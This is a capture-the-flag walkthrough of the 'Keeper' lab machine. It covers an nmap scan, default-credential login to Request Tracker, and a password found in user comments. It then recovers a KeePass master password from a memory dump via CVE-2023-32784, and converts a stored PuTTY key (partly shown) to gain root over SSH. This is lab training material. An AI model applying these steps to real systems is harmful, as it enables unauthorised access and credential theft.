Keeper

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 4000 10.129.207.151          
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-13 22:12 +08
Warning: 10.129.207.151 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.207.151
Host is up (0.16s latency).
Not shown: 65393 closed tcp ports (conn-refused), 140 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

We can start proxying traffic through Burpsuite.

Web Enumeration -> SSH Creds

Visiting the website itself shows a domain we need to add:

After adding to the /etc/hosts file, it brings us to a login page:

The website was running Best Practical Request Tracker (RT) 4.4.4, which is quite outdated. A bit of research reveals that root:password is the default password, which works here:

There is 1 ticket present, and it's an issue regarding Keepass (with the box name being an obvious hint).

The attachment has been removed. There's also mention of another user named lnorgaard. When we use the Admin panel to view all Users, there's a password located within the user's comments:

Using these creds, we can ssh in as the user:

Privilege Escalation

Keepass Dump -> CVE-2023-32784

Within the user's directory, there's one zip file present:

lnorgaard@keeper:~$ ls
RT30000.zip  user.txt

Within it is the .dmp file for the Keepass client mentioned in the ticket earlier. I searched for Keepass exploits for 2023, and found this one:

This exploits allows us to get passwords from Keepass dump files, and there is one PoC for it:

We can clone the repository and clean it up a bit. Afterwards, use scp to transfer the file out:

scp lnorgaard@keeper.htb:~/KeePassDumpFull.dmp .

Then, in order to run the binary, I had to change the dependencies from net7.0 to net6.0 within the .csproj file:

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net6.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

</Project>

Afterwards, we can use dotnet run to execute the program:

$ dotnet run KeePassDumpFull.dmp
Password candidates (character positions):
Unknown characters are displayed as "●"
1.:     ●
2.:     ,, l, `, -, ', ], A, I, :, =, _, c, M, 
3.:     d, 
4.:     g, 
5.:     r, 
6.:     ●
7.:     d, 
8.:      , 
9.:     m, 
10.:    e, 
11.:    d, 
12.:     , 
13.:    f, 
14.:    l, 
15.:    ●
16.:    d, 
17.:    e, 
Combined: ●{,, l, `, -, ', ], A, I, :, =, _, c, M}<REDACTEDSTRING>

This would produce a string at the end with some non-printable characters. Googling part of the string reveals a certain Danish dessert (based on the username of the user):

Using the name of the dessert, we can access the passwords within the .kdbx file:

$ kpcli --kdb=passcodes.kdbx 
Provide the master password: *************************

KeePass CLI (kpcli) v3.8.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help <command>' for details on individual commands.

kpcli:/> ls
=== Groups ===
passcodes/

Keepass PPX Key -> Root SSH Key

There are quite a few entries within this Keepass instance:

kpcli:/passcodes> ls *
/passcodes/eMail:

/passcodes/General:

/passcodes/Homebanking:

/passcodes/Internet:

/passcodes/Network:
=== Entries ===
0. keeper.htb (Ticketing Server)                                          
1. Ticketing System                                                       

/passcodes/Recycle Bin:
=== Entries ===
2. Sample Entry                                               keepass.info
3. Sample Entry #2                          keepass.info/help/kb/testform.

/passcodes/Windows:

Within the keeper.htb entry, there's a key of some sorts, as well as a fake password for root:

kpcli:/passcodes/Network> show -f 0

Title: keeper.htb (Ticketing Server)
Uname: root
 Pass: <TRUNCATED>
  URL: 
Notes: PuTTY-User-Key-File-3: ssh-rsa
       Encryption: none
       Comment: rsa-key-20230519
       Public-Lines: 6
       AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D
       <TRUNCATED>

This is a Putty User Key File, which can be converted back to an ssh key.

$ puttygen key.ppk -O private-openssh -o sshkey.rsa
$ cat sshkey.rsa 
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAp1arHv4TLMBgUULD7AvxMMsSb3PFqbpfw/K4gmVd9GW3xBdP
<TRUNCATED>

After running chmod 600 on it, we can use this private key to ssh in as root:

dotnet run saves loads of time transferring files to a Windows machine. Rooted!

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